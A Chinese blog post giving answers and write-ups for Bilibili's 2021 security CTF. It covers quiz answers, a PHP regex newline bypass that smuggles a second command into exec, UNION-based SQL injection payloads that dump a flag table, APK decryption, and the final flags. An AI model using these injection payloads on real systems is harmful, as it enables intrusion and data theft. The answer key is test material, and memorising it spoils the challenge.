bilibili 2021CTF答案

1024活动。链接https://security.bilibili.com/sec1024/

挑战赛的原创&首发。干到哪写到哪,反正写不完.......

算法与安全答题

问题顺序答案随机,对照答案即可

8位以上包含数字密码
邮件中网址可以任意点击
熟人号码即使是凌晨深夜,也要回拨确认
检查自己注册过的网站
先向好友确认是否发送链接
只要不访问互联网
2种稳赢可能性
4根
11,24
对称加密算法
42
6787
题中选项皆有可能
远程控制软件
6次
25002550
593
2017年6月1日
x正比于根号n增加
15瓶药

安全攻防挑战赛

第一题 两行字符拼成一行然后aes解密即可

密码在题目里也给出了

第二题 目标网址找flag

f12 sources,找到webpack/src/view的home.vue,藏注释里

第三题 PHP是世界上最好的语言

按网页上的说明下载eval.php

可以看到正则/^\w+$/,只允许数字和字母,并且args不能接收三条以上参数,最终exec执行空格分割的命令且回显

/^\w+$\中的$当遇到一个字符串的结尾是换行符(%0a)时还是可以匹配的,我们可以利用这一个特性,在eval.php使用参数args[]=1%0a&args[]=xxxx,等于最终执行“/bin/2233 1换行xxxx“

即我们让原本构造的语句执行了,多出来的(即自己塞的)也能在exec里执行,可以知道实际执行了两行

/bin/2233 1
xxxx

过程思路就这样,然后就可以用自己的linux命令了

当前目录命令ls

flag在passwd里,其他就不看了,所以直接cat passwd

第四题 注入

目标网址https://security.bilibili.com/sec1024/q/ 和第二题是一样的

翻翻网页上的按钮,点左侧日志信息时看F12-Network,可看到发送了一个list日志请求,这里从日志api入手

日志api https://security.bilibili.com/sec1024/q/admin/api/v1/log/list

绕过空格过滤尝试通过且回显,下面为post参数

{
    "user_id": "",
    "user_name": "1/**/union/**/select/**/database(),user(),3,4,5",
    "action": "",
    "page": 1,
    "size": 20
}

获取表名(自行将下面sql替换进上面的格式,下面的下面也是)

1/**/union/**/select/**/database(),user(),3,4,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

可以看到有三张表flag,log,user

获取flag表的字段,由于不能引号所以用十六进制绕过,flag十六进制即 666c6167

1/**/union/**/select/**/database(),user(),3,4,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name=0x666c6167#

可以看到只有一个字段,id

最后直接拿下flag

1/**/union/**/select/**/database(),user(),3,4,group_concat(id)/**/from/**/flag#

第五题

下个JADX,丢apk进去直接看,比较明了

Encrypt是加密过程,MainActivity里的两串字符拿去按Encrypt里的反向操作一次即可

即一次base64解码一次异或3,两串可合成一串flag

// var b = new String(Encrypt.a(Encrypt.b(obj2), 3));
// var b2 = new String(Encrypt.a(Encrypt.b(obj), 3));
516834cc-50e448af
bcf9ed53-9ae4328e

最终结果 516834cc-50e448af-bcf9ed53-9ae4328e

第六题 ida逆向so

这个逆向本人不怎么会,思路及过程参考下图

flag:b13981f4-5ae996d4-bc04be5b-34662a78

第七题 风控

靠次数筛出来ip可以得10分,自己写个脚本或者拿工具统计一下,也可以导数据库按ip请求数排序

这里也只能给出10分参考答案,多几个或少几个都是10分,因为不清楚10分到底差在哪

jj.bdc.bbb.cc,dc.bb.ii.jj,cde.ced.bbb.dd,cdd.bcc.bg.bib,cd.bb.cai.cbh,cd.baf.cae.cbc,bfh.ff.dj.jf,bfh.ff.dj.ig,bfh.ff.dj.fb,bfh.ff.dj.bd,bfh.ff.dj.bcf,bbb.bb.bjd.bhf,bbb.bb.bjd.bhc,bbb.bb.bjd.bha,bbb.bb.bjd.bgc,bba.ja.ccb.cbc,bba.ja.cca.beg

写到这已经可以90分了,可获取所有瓜分,非要满分的话只能等慢慢研究了

点赞
  1. 白喵喵说道:
    Safari Mac OS X 10.15.4
    学python的来膜拜巨佬
  2. jilao说道:
    Google Chrome Windows 10
    牛逼
  3. zz说道:
    Google Chrome Android 10
    想请教大佬。为什么%0a可以绕过。后面的不是没有%0a就匹配上了嘛
    1. xingye说道:
      Google Chrome Windows 10
      你再看一遍吧
  4. 谢谢你哦说道:
    Google Chrome Mac OS X 10.15.7
    做完了第一部分才看到的,没办法搞到90了 :lei:
  5. 匿名说道:
    Google Chrome Windows 10
    大佬,能不能请教一下,你sql注入发送请求头的工具是什么呀?QAQ
    1. xingye说道:
      Google Chrome Windows 10
      postman,请求头没东西,默认的,主要post参数
  6. 谢谢你哦说道:
    MIUI Browser Android 11
    真是谢谢你哦
  7. ad说道:
    Google Chrome Windows 10
    第7题有没有满分答案啊

回复 匿名 取消回复

邮箱不会被公开,用于显示Gravatar的头像